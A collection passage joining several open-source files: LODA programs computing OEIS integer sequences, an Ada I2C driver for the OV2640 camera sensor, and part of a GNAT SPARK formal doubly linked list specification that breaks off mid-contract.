; 1,3,9,9,27,81,81,243,729,243,729,2187,2187,6561,19683,19683,59049,177147,59049,177147,531441,531441,1594323,4782969,4782969,14348907,43046721,4782969,14348907,43046721,43046721,129140163,387420489,387420489,1162261467,3486784401,1162261467,3486784401,10460353203,10460353203,31381059609,94143178827,94143178827,282429536481,847288609443,282429536481,847288609443,2541865828329,2541865828329,7625597484987,22876792454961,22876792454961,68630377364883,205891132094649,22876792454961,68630377364883,205891132094649,205891132094649,617673396283947,1853020188851841,1853020188851841,5559060566555523,16677181699666569,5559060566555523,16677181699666569,50031545098999707,50031545098999707,150094635296999121,450283905890997363,450283905890997363,1350851717672992089,4052555153018976267,1350851717672992089,4052555153018976267,12157665459056928801,12157665459056928801,36472996377170786403,109418989131512359209,109418989131512359209,328256967394537077627,984770902183611232881,36472996377170786403,109418989131512359209,328256967394537077627,328256967394537077627,984770902183611232881,2954312706550833698643,2954312706550833698643,8862938119652501095929,26588814358957503287787,8862938119652501095929,26588814358957503287787,79766443076872509863361,79766443076872509863361,239299329230617529590083,717897987691852588770249,717897987691852588770249,2153693963075557766310747,6461081889226673298932241,2153693963075557766310747
mov $1,$0
lpb $1
div $0,3
sub $1,$0
lpe
mov $0,3
pow $0,$1
|
components/src/camera/OV2640/ov2640.adb | rocher/Ada_Drivers_Library | 192 | 17456 | ------------------------------------------------------------------------------
-- --
-- Copyright (C) 2015-2016, AdaCore --
-- --
-- Redistribution and use in source and binary forms, with or without --
-- modification, are permitted provided that the following conditions are --
-- met: --
-- 1. Redistributions of source code must retain the above copyright --
-- notice, this list of conditions and the following disclaimer. --
-- 2. Redistributions in binary form must reproduce the above copyright --
-- notice, this list of conditions and the following disclaimer in --
-- the documentation and/or other materials provided with the --
-- distribution. --
-- 3. Neither the name of the copyright holder nor the names of its --
-- contributors may be used to endorse or promote products derived --
-- from this software without specific prior written permission. --
-- --
-- THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS --
-- "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT --
-- LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR --
-- A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT --
-- HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, --
-- SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT --
-- LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, --
-- DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY --
-- THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT --
-- (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE --
-- OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. --
-- --
------------------------------------------------------------------------------
-- Based on ov2640.c from OpenMV
--
-- This file is part of the OpenMV project.
-- Copyright (c) 2013/2014 <NAME> <<EMAIL>>
-- This work is licensed under the MIT license, see the file LICENSE for
-- details.
--
-- OV2640 driver.
--
with Bit_Fields; use Bit_Fields;
package body OV2640 is
type Addr_And_Data is record
Addr, Data : UInt8;
end record;
type Command_Array is array (Natural range <>) of Addr_And_Data;
Setup_Commands : constant Command_Array :=
((REG_BANK_SELECT, SELECT_DSP),
(16#2c#, 16#ff#),
(16#2e#, 16#df#),
(REG_BANK_SELECT, SELECT_SENSOR),
(16#3c#, 16#32#),
(REG_SENSOR_CLKRC, 16#80#), -- Set PCLK divider */
-- COM2_OUT_DRIVE_3x
(REG_SENSOR_COM2, 16#02#), -- Output drive x3 */
-- #ifdef OPENMV2
(REG_SENSOR_REG04, 16#F8#), -- Mirror/VFLIP/AEC[1:0] */
-- #else
-- (REG04_SET(REG04_HREF_EN)),
-- #endif
(REG_SENSOR_COM8, COM8_DEFAULT or
COM8_BNDF_EN or
COM8_AGC_EN or
COM8_AEC_EN),
-- COM9_AGC_GAIN_8x
(REG_SENSOR_COM9, COM9_DEFAULT or Shift_Left (16#02#, 5)),
(16#2c#, 16#0c#),
(16#33#, 16#78#),
(16#3a#, 16#33#),
(16#3b#, 16#fb#),
(16#3e#, 16#00#),
(16#43#, 16#11#),
(16#16#, 16#10#),
(16#39#, 16#02#),
(16#35#, 16#88#),
(16#22#, 16#0a#),
(16#37#, 16#40#),
(16#23#, 16#00#),
(REG_SENSOR_ARCOM2, 16#a0#),
(16#06#, 16#02#),
(16#06#, 16#88#),
(16#07#, 16#c0#),
(16#0d#, 16#b7#),
(16#0e#, 16#01#),
(16#4c#, 16#00#),
(16#4a#, 16#81#),
(16#21#, 16#99#),
(REG_SENSOR_AEW, 16#40#),
(REG_SENSOR_AEB, 16#38#),
-- AGC/AEC fast mode operating region
-- VV_AGC_TH_SET(h,l) ((h<<4)|(l&0x0F))
-- VV_AGC_TH_SET(16#08#, 16#02#)
(REG_SENSOR_VV, Shift_Left (16#08#, 4) or 16#02#),
(REG_SENSOR_COM19, 16#00#), -- Zoom control 2 MSBs */
(REG_SENSOR_ZOOMS, 16#00#), -- Zoom control 8 MSBs */
(16#5c#, 16#00#),
(16#63#, 16#00#),
(REG_SENSOR_FLL, 16#00#),
(REG_SENSOR_FLH, 16#00#),
-- Set banding filter
(REG_SENSOR_COM3, COM3_DEFAULT or COM3_BAND_AUTO),
(REG_SENSOR_REG5D, 16#55#),
(REG_SENSOR_REG5E, 16#7d#),
(REG_SENSOR_REG5F, 16#7d#),
(REG_SENSOR_REG60, 16#55#),
(REG_SENSOR_HISTO_LOW, 16#70#),
(REG_SENSOR_HISTO_HIGH, 16#80#),
(16#7c#, 16#05#),
(16#20#, 16#80#),
(16#28#, 16#30#),
(16#6c#, 16#00#),
(16#6d#, 16#80#),
(16#6e#, 16#00#),
(16#70#, 16#02#),
(16#71#, 16#94#),
(16#73#, 16#c1#),
(16#3d#, 16#34#),
-- (COM7, COM7_RES_UXGA | COM7_ZOOM_EN),
(16#5a#, 16#57#),
(REG_SENSOR_BD50, 16#bb#),
(REG_SENSOR_BD60, 16#9c#),
(REG_BANK_SELECT, SELECT_DSP),
(16#e5#, 16#7f#),
(REG_DSP_MC_BIST, MC_BIST_RESET or MC_BIST_BOOT_ROM_SEL),
(16#41#, 16#24#),
(REG_DSP_RESET, RESET_JPEG or RESET_DVP),
(16#76#, 16#ff#),
(16#33#, 16#a0#),
(16#42#, 16#20#),
(16#43#, 16#18#),
(16#4c#, 16#00#),
(REG_DSP_CTRL3, CTRL3_BPC_EN or CTRL3_WPC_EN or 16#10#),
(16#88#, 16#3f#),
(16#d7#, 16#03#),
(16#d9#, 16#10#),
(REG_DSP_R_DVP_SP, R_DVP_SP_AUTO_MODE or 16#2#),
(16#c8#, 16#08#),
(16#c9#, 16#80#),
(REG_DSP_BPADDR, 16#00#),
(REG_DSP_BPDATA, 16#00#),
(REG_DSP_BPADDR, 16#03#),
(REG_DSP_BPDATA, 16#48#),
(REG_DSP_BPDATA, 16#48#),
(REG_DSP_BPADDR, 16#08#),
(REG_DSP_BPDATA, 16#20#),
(REG_DSP_BPDATA, 16#10#),
(REG_DSP_BPDATA, 16#0e#),
(16#90#, 16#00#),
(16#91#, 16#0e#),
(16#91#, 16#1a#),
(16#91#, 16#31#),
(16#91#, 16#5a#),
(16#91#, 16#69#),
(16#91#, 16#75#),
(16#91#, 16#7e#),
(16#91#, 16#88#),
(16#91#, 16#8f#),
(16#91#, 16#96#),
(16#91#, 16#a3#),
(16#91#, 16#af#),
(16#91#, 16#c4#),
(16#91#, 16#d7#),
(16#91#, 16#e8#),
(16#91#, 16#20#),
(16#92#, 16#00#),
(16#93#, 16#06#),
(16#93#, 16#e3#),
(16#93#, 16#03#),
(16#93#, 16#03#),
(16#93#, 16#00#),
(16#93#, 16#02#),
(16#93#, 16#00#),
(16#93#, 16#00#),
(16#93#, 16#00#),
(16#93#, 16#00#),
(16#93#, 16#00#),
(16#93#, 16#00#),
(16#93#, 16#00#),
(16#96#, 16#00#),
(16#97#, 16#08#),
(16#97#, 16#19#),
(16#97#, 16#02#),
(16#97#, 16#0c#),
(16#97#, 16#24#),
(16#97#, 16#30#),
(16#97#, 16#28#),
(16#97#, 16#26#),
(16#97#, 16#02#),
(16#97#, 16#98#),
(16#97#, 16#80#),
(16#97#, 16#00#),
(16#97#, 16#00#),
(16#a4#, 16#00#),
(16#a8#, 16#00#),
(16#c5#, 16#11#),
(16#c6#, 16#51#),
(16#bf#, 16#80#),
(16#c7#, 16#10#),
(16#b6#, 16#66#),
(16#b8#, 16#A5#),
(16#b7#, 16#64#),
(16#b9#, 16#7C#),
(16#b3#, 16#af#),
(16#b4#, 16#97#),
(16#b5#, 16#FF#),
(16#b0#, 16#C5#),
(16#b1#, 16#94#),
(16#b2#, 16#0f#),
(16#c4#, 16#5c#),
(16#a6#, 16#00#),
(16#a7#, 16#20#),
(16#a7#, 16#d8#),
(16#a7#, 16#1b#),
(16#a7#, 16#31#),
(16#a7#, 16#00#),
(16#a7#, 16#18#),
(16#a7#, 16#20#),
(16#a7#, 16#d8#),
(16#a7#, 16#19#),
(16#a7#, 16#31#),
(16#a7#, 16#00#),
(16#a7#, 16#18#),
(16#a7#, 16#20#),
(16#a7#, 16#d8#),
(16#a7#, 16#19#),
(16#a7#, 16#31#),
(16#a7#, 16#00#),
(16#a7#, 16#18#),
(16#7f#, 16#00#),
(16#e5#, 16#1f#),
(16#e1#, 16#77#),
(16#dd#, 16#7f#),
(REG_DSP_CTRL0, CTRL0_YUV422 or CTRL0_YUV_EN or CTRL0_RGB_EN),
(16#00#, 16#00#)
);
procedure Write (This : OV2640_Camera; Addr, Data : UInt8);
function Read (This : OV2640_Camera; Addr : UInt8) return UInt8;
procedure Select_Sensor_Bank (This : OV2640_Camera);
procedure Select_DSP_Bank (This : OV2640_Camera);
procedure Enable_DSP (This : OV2640_Camera; Enable : Boolean);
-----------
-- Write --
-----------
procedure Write (This : OV2640_Camera; Addr, Data : UInt8) is
Status : I2C_Status;
begin
This.I2C.Mem_Write (Addr => This.Addr,
Mem_Addr => UInt16 (Addr),
Mem_Addr_Size => Memory_Size_8b,
Data => (1 => Data),
Status => Status);
if Status /= Ok then
raise Program_Error;
end if;
end Write;
----------
-- Read --
----------
function Read (This : OV2640_Camera; Addr : UInt8) return UInt8 is
Data : I2C_Data (1 .. 1);
Status : I2C_Status;
begin
This.I2C.Mem_Read (Addr => This.Addr,
Mem_Addr => UInt16 (Addr),
Mem_Addr_Size => Memory_Size_8b,
Data => Data,
Status => Status);
if Status /= Ok then
raise Program_Error;
end if;
return Data (Data'First);
end Read;
------------------------
-- Select_Sensor_Bank --
------------------------
procedure Select_Sensor_Bank (This : OV2640_Camera) is
begin
Write (This, REG_BANK_SELECT, 1);
end Select_Sensor_Bank;
---------------------
-- Select_DSP_Bank --
---------------------
procedure Select_DSP_Bank (This : OV2640_Camera) is
begin
Write (This, REG_BANK_SELECT, 0);
end Select_DSP_Bank;
----------------
-- Enable_DSP --
----------------
procedure Enable_DSP (This : OV2640_Camera; Enable : Boolean) is
begin
Select_DSP_Bank (This);
Write (This, REG_DSP_BYPASS, (if Enable then 0 else 1));
end Enable_DSP;
----------------
-- Initialize --
----------------
procedure Initialize
(This : in out OV2640_Camera;
Addr : UInt10)
is
begin
This.Addr := Addr;
for Elt of Setup_Commands loop
Write (This, Elt.Addr, Elt.Data);
end loop;
end Initialize;
----------------------
-- Set_Pixel_Format --
----------------------
procedure Set_Pixel_Format
(This : OV2640_Camera;
Pix : Pixel_Format)
is
begin
Select_DSP_Bank (This);
Write (This, REG_DSP_RESET, 2#0000_0100#); -- DVP
case Pix is
when Pix_RGB565 =>
Write (This, REG_DSP_IMAGE_MODE, 2#0000_1001#);
when Pix_YUV422 =>
Write (This, REG_DSP_IMAGE_MODE, 2#0000_0001#);
when Pix_JPEG =>
Write (This, REG_DSP_IMAGE_MODE, 2#0001_1000#);
Write (This, REG_DSP_QS, 16#0C#);
end case;
-- Write 0xD7 := 0x03 (not documented)
-- Write 0xE1 := 0X77 (not documented)
Write (This, REG_DSP_RESET, 0);
end Set_Pixel_Format;
--------------------
-- Set_Frame_Size --
--------------------
procedure Set_Frame_Size
(This : OV2640_Camera;
Res : Frame_Size)
is
H_SIZE, V_SIZE : Bit_Field (0 .. 15);
Width : constant UInt16 := Resolutions (Res).Width;
Height : constant UInt16 := Resolutions (Res).Height;
Is_UXGA : constant Boolean := Res = SXGA or else Res = UXGA;
CLK_Divider : constant Boolean := Is_UXGA;
begin
Enable_DSP (This, False);
-- DSP bank selected
Write (This, REG_DSP_ZMOW, UInt8 ((Width / 4) and 16#FF#));
Write (This, REG_DSP_ZMOH, UInt8 ((Height / 4) and 16#FF#));
Write (This, REG_DSP_ZMHH,
UInt8 (Shift_Right (Width, 10) and 16#3#)
or
UInt8 (Shift_Right (Height, 8) and 16#4#));
Select_Sensor_Bank (This);
Write (This, REG_SENSOR_CLKRC, (if CLK_Divider then 16#81# else 16#80#));
-- The sensor has only two mode (UXGA and SVGA), the resolution is then
-- scaled down by ZMOW, ZMOH and ZMHH.
Select_Sensor_Bank (This);
Write (This, REG_SENSOR_COM7, (if Is_UXGA then 16#00# else 16#40#));
Write (This, REG_SENSOR_COM1, (if Is_UXGA then 16#0F# else 16#0A#));
Write (This, REG_SENSOR_REG32, (if Is_UXGA then 16#36# else 16#09#));
Write (This, REG_SENSOR_HREFST, (if Is_UXGA then 16#11# else 16#11#));
Write (This, REG_SENSOR_HREFEND, (if Is_UXGA then 16#75# else 16#43#));
Write (This, REG_SENSOR_VSTRT, (if Is_UXGA then 16#01# else 16#00#));
Write (This, REG_SENSOR_VEND, (if Is_UXGA then 16#97# else 16#4B#));
-- Not documented...
Write (This, 16#3D#, (if Is_UXGA then 16#34# else 16#38#));
Write (This, 16#35#, (if Is_UXGA then 16#88# else 16#DA#));
Write (This, 16#22#, (if Is_UXGA then 16#0A# else 16#1A#));
Write (This, 16#37#, (if Is_UXGA then 16#40# else 16#C3#));
Write (This, 16#34#, (if Is_UXGA then 16#A0# else 16#C0#));
Write (This, 16#06#, (if Is_UXGA then 16#02# else 16#88#));
Write (This, 16#0D#, (if Is_UXGA then 16#B7# else 16#87#));
Write (This, 16#0E#, (if Is_UXGA then 16#01# else 16#41#));
Write (This, 16#42#, (if Is_UXGA then 16#83# else 16#03#));
Enable_DSP (This, False);
-- DSP bank selected
Write (This, REG_DSP_RESET, 2#0000_0100#); -- DVP
-- HSIZE8, VSIZE8 and SIZEL use the rela values, where HZISE, VSIZE,
-- VHYX use the value divided by 4 (shifted by 3)...
if Is_UXGA then
H_SIZE := To_Bit_Field (Resolutions (UXGA).Width);
V_SIZE := To_Bit_Field (Resolutions (UXGA).Height);
else
H_SIZE := To_Bit_Field (Resolutions (SVGA).Width);
V_SIZE := To_Bit_Field (Resolutions (SVGA).Height);
end if;
-- Real HSIZE[10..3]
Write (This, REG_DSP_HSIZE8, To_UInt8 (H_SIZE (3 .. 10)));
-- Real VSIZE[10..3]
Write (This, REG_DSP_VSIZE8, To_UInt8 (V_SIZE (3 .. 10)));
-- Real HSIZE[11] real HSIZE[2..0]
Write (This, REG_DSP_SIZEL,
To_UInt8 (V_SIZE (0 .. 2) & H_SIZE (0 .. 2) & (H_SIZE (11), 0)));
H_SIZE := To_Bit_Field (To_UInt16 (H_SIZE) / 4);
V_SIZE := To_Bit_Field (To_UInt16 (V_SIZE) / 4);
Write (This, REG_DSP_XOFFL, 0);
Write (This, REG_DSP_YOFFL, 0);
Write (This, REG_DSP_HSIZE, To_UInt8 (H_SIZE (0 .. 7)));
Write (This, REG_DSP_VSIZE, To_UInt8 (V_SIZE (0 .. 7)));
Write (This, REG_DSP_VHYX,
To_UInt8 ((0 => 0,
1 => 0,
2 => 0,
3 => H_SIZE (8),
4 => 0,
5 => 0,
6 => 0,
7 => V_SIZE (8))));
Write (This, REG_DSP_TEST,
To_UInt8 ((0 => 0,
1 => 0,
2 => 0,
3 => 0,
4 => 0,
5 => 0,
6 => 0,
7 => H_SIZE (9))));
Write (This, REG_DSP_CTRL2, 2#0011_1101#);
Write (This, REG_DSP_CTRLI, 2#1000_0000#); -- LP_DP
if Is_UXGA then
Write (This, REG_DSP_R_DVP_SP, 0); -- AUTO Mode, Div 0
else
Write (This, REG_DSP_R_DVP_SP, 4); -- AUTO Mode, Div 4
end if;
Enable_DSP (This, True);
Write (This, REG_DSP_RESET, 0);
end Set_Frame_Size;
--------------------
-- Set_Frame_Rate --
--------------------
procedure Set_Frame_Rate
(This : OV2640_Camera;
FR : Frame_Rate)
is
begin
null;
end Set_Frame_Rate;
-------------
-- Get_PID --
-------------
function Get_PID (This : OV2640_Camera) return UInt8 is
begin
Select_Sensor_Bank (This);
return Read (This, REG_SENSOR_PID);
end Get_PID;
------------------------------
-- Enable_Auto_Gain_Control --
------------------------------
procedure Enable_Auto_Gain_Control (This : OV2640_Camera;
Enable : Boolean := True)
is
COM8 : UInt8;
begin
Select_Sensor_Bank (This);
COM8 := Read (This, REG_SENSOR_COM8);
if Enable then
COM8 := COM8 or 2#0000_0100#;
else
COM8 := COM8 and 2#1111_1011#;
end if;
Write (This, REG_SENSOR_COM8, COM8);
end Enable_Auto_Gain_Control;
-------------------------------
-- Enable_Auto_White_Balance --
-------------------------------
procedure Enable_Auto_White_Balance (This : OV2640_Camera;
Enable : Boolean := True)
is
CTRL1 : UInt8;
begin
Select_DSP_Bank (This);
CTRL1 := Read (This, REG_DSP_CTRL1);
if Enable then
CTRL1 := CTRL1 or 2#0000_1000#;
else
CTRL1 := CTRL1 and 2#1111_0111#;
end if;
Write (This, REG_DSP_CTRL1, CTRL1);
end Enable_Auto_White_Balance;
----------------------------------
-- Enable_Auto_Exposure_Control --
----------------------------------
procedure Enable_Auto_Exposure_Control (This : OV2640_Camera;
Enable : Boolean := True)
is
CTRL0 : UInt8;
begin
Select_DSP_Bank (This);
CTRL0 := Read (This, REG_DSP_CTRL0);
if Enable then
CTRL0 := CTRL0 or 2#1000_0000#;
else
CTRL0 := CTRL0 and 2#0111_1111#;
end if;
Write (This, REG_DSP_CTRL0, CTRL0);
end Enable_Auto_Exposure_Control;
-----------------------------
-- Enable_Auto_Band_Filter --
-----------------------------
procedure Enable_Auto_Band_Filter (This : OV2640_Camera;
Enable : Boolean := True)
is
COM8 : UInt8;
begin
Select_Sensor_Bank (This);
COM8 := Read (This, REG_SENSOR_COM8);
if Enable then
COM8 := COM8 or 2#0010_0000#;
else
COM8 := COM8 and 2#1101_1111#;
end if;
Write (This, REG_SENSOR_COM8, COM8);
end Enable_Auto_Band_Filter;
end OV2640;
|
oeis/066/A066998.asm | neoneye/loda-programs | 11 | 175303 | ; A066998: a(0)=0; a(n) = n^2*a(n-1) + 1.
; 0,1,5,46,737,18426,663337,32503514,2080224897,168498216658,16849821665801,2038828421561922,293591292704916769,49616928467130933962,9724917979557663056553,2188106545400474187724426,560155275622521392057453057,161884874654908682304603933474,52450699388190413066691674445577,18934702479136739117075694474853298,7573880991654695646830277789941319201,3340081517319720780252152505364121767642,1616599454382744857642041812596234935538729,855181111368472029692640118863408280899987642
mov $2,1
lpb $0
mov $1,$0
sub $0,1
pow $1,2
add $3,$2
mul $2,$1
lpe
mov $0,$3
|
Validation/pyFrame3DD-master/gcc-master/gcc/ada/libgnat/a-cfdlli.ads | djamal2727/Main-Bearing-Analytical-Model | 0 | 19561 | <filename>Validation/pyFrame3DD-master/gcc-master/gcc/ada/libgnat/a-cfdlli.ads
------------------------------------------------------------------------------
-- --
-- GNAT LIBRARY COMPONENTS --
-- --
-- ADA.CONTAINERS.FORMAL_DOUBLY_LINKED_LISTS --
-- --
-- S p e c --
-- --
-- Copyright (C) 2004-2020, Free Software Foundation, Inc. --
-- --
-- This specification is derived from the Ada Reference Manual for use with --
-- GNAT. The copyright notice above, and the license provisions that follow --
-- apply solely to the contents of the part following the private keyword. --
-- --
-- GNAT is free software; you can redistribute it and/or modify it under --
-- terms of the GNU General Public License as published by the Free Soft- --
-- ware Foundation; either version 3, or (at your option) any later ver- --
-- sion. GNAT is distributed in the hope that it will be useful, but WITH- --
-- OUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY --
-- or FITNESS FOR A PARTICULAR PURPOSE. --
-- --
-- As a special exception under Section 7 of GPL version 3, you are granted --
-- additional permissions described in the GCC Runtime Library Exception, --
-- version 3.1, as published by the Free Software Foundation. --
-- --
-- You should have received a copy of the GNU General Public License and --
-- a copy of the GCC Runtime Library Exception along with this program; --
-- see the files COPYING3 and COPYING.RUNTIME respectively. If not, see --
-- <http://www.gnu.org/licenses/>. --
------------------------------------------------------------------------------
with Ada.Containers.Functional_Vectors;
with Ada.Containers.Functional_Maps;
generic
type Element_Type is private;
with function "=" (Left, Right : Element_Type) return Boolean is <>;
package Ada.Containers.Formal_Doubly_Linked_Lists with
SPARK_Mode
is
pragma Annotate (CodePeer, Skip_Analysis);
type List (Capacity : Count_Type) is private with
Iterable => (First => First,
Next => Next,
Has_Element => Has_Element,
Element => Element),
Default_Initial_Condition => Is_Empty (List);
pragma Preelaborable_Initialization (List);
type Cursor is record
Node : Count_Type := 0;
end record;
No_Element : constant Cursor := Cursor'(Node => 0);
Empty_List : constant List;
function Length (Container : List) return Count_Type with
Global => null,
Post => Length'Result <= Container.Capacity;
pragma Unevaluated_Use_Of_Old (Allow);
package Formal_Model with Ghost is
subtype Positive_Count_Type is Count_Type range 1 .. Count_Type'Last;
package M is new Ada.Containers.Functional_Vectors
(Index_Type => Positive_Count_Type,
Element_Type => Element_Type);
function "="
(Left : M.Sequence;
Right : M.Sequence) return Boolean renames M."=";
function "<"
(Left : M.Sequence;
Right : M.Sequence) return Boolean renames M."<";
function "<="
(Left : M.Sequence;
Right : M.Sequence) return Boolean renames M."<=";
function M_Elements_In_Union
(Container : M.Sequence;
Left : M.Sequence;
Right : M.Sequence) return Boolean
-- The elements of Container are contained in either Left or Right
with
Global => null,
Post =>
M_Elements_In_Union'Result =
(for all I in 1 .. M.Length (Container) =>
(for some J in 1 .. M.Length (Left) =>
Element (Container, I) = Element (Left, J))
or (for some J in 1 .. M.Length (Right) =>
Element (Container, I) = Element (Right, J)));
pragma Annotate (GNATprove, Inline_For_Proof, M_Elements_In_Union);
function M_Elements_Included
(Left : M.Sequence;
L_Fst : Positive_Count_Type := 1;
L_Lst : Count_Type;
Right : M.Sequence;
R_Fst : Positive_Count_Type := 1;
R_Lst : Count_Type) return Boolean
-- The elements of the slice from L_Fst to L_Lst in Left are contained
-- in the slide from R_Fst to R_Lst in Right.
with
Global => null,
Pre => L_Lst <= M.Length (Left) and R_Lst <= M.Length (Right),
Post =>
M_Elements_Included'Result =
(for all I in L_Fst .. L_Lst =>
(for some J in R_Fst .. R_Lst =>
Element (Left, I) = Element (Right, J)));
pragma Annotate (GNATprove, Inline_For_Proof, M_Elements_Included);
function M_Elements_Reversed
(Left : M.Sequence;
Right : M.Sequence) return Boolean
-- Right is Left in reverse order
with
Global => null,
Post =>
M_Elements_Reversed'Result =
(M.Length (Left) = M.Length (Right)
and (for all I in 1 .. M.Length (Left) =>
Element (Left, I) =
Element (Right, M.Length (Left) - I + 1))
and (for all I in 1 .. M.Length (Left) =>
Element (Right, I) =
Element (Left, M.Length (Left) - I + 1)));
pragma Annotate (GNATprove, Inline_For_Proof, M_Elements_Reversed);
function M_Elements_Swapped
(Left : M.Sequence;
Right : M.Sequence;
X : Positive_Count_Type;
Y : Positive_Count_Type) return Boolean
-- Elements stored at X and Y are reversed in Left and Right
with
Global => null,
Pre => X <= M.Length (Left) and Y <= M.Length (Left),
Post =>
M_Elements_Swapped'Result =
(M.Length (Left) = M.Length (Right)
and Element (Left, X) = Element (Right, Y)
and Element (Left, Y) = Element (Right, X)
and M.Equal_Except (Left, Right, X, Y));
pragma Annotate (GNATprove, Inline_For_Proof, M_Elements_Swapped);
package P is new Ada.Containers.Functional_Maps
(Key_Type => Cursor,
Element_Type => Positive_Count_Type,
Equivalent_Keys => "=",
Enable_Handling_Of_Equivalence => False);
function "="
(Left : P.Map;
Right : P.Map) return Boolean renames P."=";
function "<="
(Left : P.Map;
Right : P.Map) return Boolean renames P."<=";
function P_Positions_Shifted
(Small : P.Map;
Big : P.Map;
Cut : Positive_Count_Type;
Count : Count_Type := 1) return Boolean
with
Global => null,
Post =>
P_Positions_Shifted'Result =
-- Big contains all cursors of Small
(P.Keys_Included (Small, Big)
-- Cursors located before Cut are not moved, cursors located
-- after are shifted by Count.
and (for all I of Small =>
(if P.Get (Small, I) < Cut then
P.Get (Big, I) = P.Get (Small, I)
else
P.Get (Big, I) - Count = P.Get (Small, I)))
-- New cursors of Big (if any) are between Cut and Cut - 1 +
-- Count.
and (for all I of Big =>
P.Has_Key (Small, I)
or P.Get (Big, I) - Count in Cut - Count .. Cut - 1));
function P_Positions_Swapped
(Left : P.Map;
Right : P.Map;
X : Cursor;
Y : Cursor) return Boolean
-- Left and Right contain the same cursors, but the positions of X and Y
-- are reversed.
with
Ghost,
Global => null,
Post =>
P_Positions_Swapped'Result =
(P.Same_Keys (Left, Right)
and P.Elements_Equal_Except (Left, Right, X, Y)
and P.Has_Key (Left, X)
and P.Has_Key (Left, Y)
and P.Get (Left, X) = P.Get (Right, Y)
and P.Get (Left, Y) = P.Get (Right, X));
function P_Positions_Truncated
(Small : P.Map;
Big : P.Map;
Cut : Positive_Count_Type;
Count : Count_Type := 1) return Boolean
with
Ghost,
Global => null,
Post =>
P_Positions_Truncated'Result =
-- Big contains all cursors of Small at the same position
(Small <= Big
-- New cursors of Big (if any) are between Cut and Cut - 1 +
-- Count.
and (for all I of Big =>
P.Has_Key (Small, I)
or P.Get (Big, I) - Count in Cut - Count .. Cut - 1));
function Mapping_Preserved
(M_Left : M.Sequence;
M_Right : M.Sequence;
P_Left : P.Map;
P_Right : P.Map) return Boolean
with
Ghost,
Global => null,
Post =>
(if Mapping_Preserved'Result then
-- Left and Right contain the same cursors
P.Same_Keys (P_Left, P_Right)
-- Mappings from cursors to elements induced by M_Left, P_Left
-- and M_Right, P_Right are the same.
and (for all C of P_Left =>
M.Get (M_Left, P.Get (P_Left, C)) =
M.Get (M_Right, P.Get (P_Right, C))));
function Model (Container : List) return M.Sequence with
-- The high-level model of a list is a sequence of elements. Cursors are
-- not represented in this model.
Ghost,
Global => null,
Post => M.Length (Model'Result) = Length (Container);
pragma Annotate (GNATprove, Iterable_For_Proof, "Model", Model);
function Positions (Container : List) return P.Map with
-- The Positions map is used to model cursors. It only contains valid
-- cursors and map them to their position in the container.
Ghost,
Global => null,
Post =>
not P.Has_Key (Positions'Result, No_Element)
-- Positions of cursors are smaller than the container's length.
and then
(for all I of Positions'Result =>
P.Get (Positions'Result, I) in 1 .. Length (Container)
-- No two cursors have the same position. Note that we do not
-- state that there is a cursor in the map for each position, as
-- it is rarely needed.
and then
(for all J of Positions'Result =>
(if P.Get (Positions'Result, I) = P.Get (Positions'Result, J)
then I = J)));
procedure Lift_Abstraction_Level (Container : List) with
-- Lift_Abstraction_Level is a ghost procedure that does nothing but
-- assume that we can access to the same elements by iterating over
-- positions or cursors.
-- This information is not generally useful except when switching from
-- a low-level cursor-aware view of a container to a high-level
-- position-based view.
Ghost,
Global => null,
Post =>
(for all Elt of Model (Container) =>
(for some I of Positions (Container) =>
M.Get (Model (Container), P.Get (Positions (Container), I)) =
Elt));
function Element
(S : M.Sequence;
I : Count_Type) return Element_Type renames M.Get;
-- To improve readability of contracts, we rename the function used to
-- access an element in the model to Element.
end Formal_Model;
use Formal_Model;
function "=" (Left, Right : List) return Boolean with
Global => null,
Post => "="'Result = (Model (Left) = Model (Right));
function Is_Empty (Container : List) return Boolean with
Global => null,
Post => Is_Empty'Result = (Length (Container) = 0);
procedure Clear (Container : in out List) with
Global => null,
Post => Length (Container) = 0;
procedure Assign (Target : in out List; Source : List) with
Global => null,
Pre => Target.Capacity >= Length (Source),
Post => Model (Target) = Model (Source);
function Copy (Source : List; Capacity : Count_Type := 0) return List with
Global => null,
Pre => Capacity = 0 or else Capacity >= Source.Capacity,
Post =>
Model (Copy'Result) = Model (Source)
and Positions (Copy'Result) = Positions (Source)
and (if Capacity = 0 then
Copy'Result.Capacity = Source.Capacity
else
Copy'Result.Capacity = Capacity);
function Element
(Container : List;
Position : Cursor) return Element_Type
with
Global => null,
Pre => Has_Element (Container, Position),
Post =>
Element'Result =
Element (Model (Container), P.Get (Positions (Container), Position));
pragma Annotate (GNATprove, Inline_For_Proof, Element);
procedure Replace_Element
(Container : in out List;
Position : Cursor;
New_Item : Element_Type)
with
Global => null,
Pre => Has_Element (Container, Position),
Post =>
Length (Container) = Length (Container)'Old
-- Cursors are preserved
and Positions (Container)'Old = Positions (Container)
-- The element at the position of Position in Container is New_Item
and Element
(Model (Container),
P.Get (Positions (Container), Position)) = New_Item
-- Other elements are preserved
and M.Equal_Except
(Model (Container)'Old,
Model (Container),
P.Get (Positions (Container), Position));
procedure Move (Target : in out List; Source : in out List) with
Global => null,
Pre => Target.Capacity >= Length (Source),
Post => Model (Target) = Model (Source'Old) and Length (Source) = 0;
procedure Insert
(Container : in out List;
Before : Cursor;
New_Item : Element_Type)
with
Global => null,
Pre =>
Length (Container) < Container.Capacity
and then (Has_Element (Container, Before)
or else Before = No_Element),
Post => Length (Container) = Length (Container)'Old + 1,
Contract_Cases =>
(Before = No_Element =>
-- Positions contains a new mapping from the last cursor of
-- Container to its length.
P.Get (Positions (Container), Last (Container)) = Length (Container)
-- Other cursors come from Container'Old
and P.Keys_Included_Except
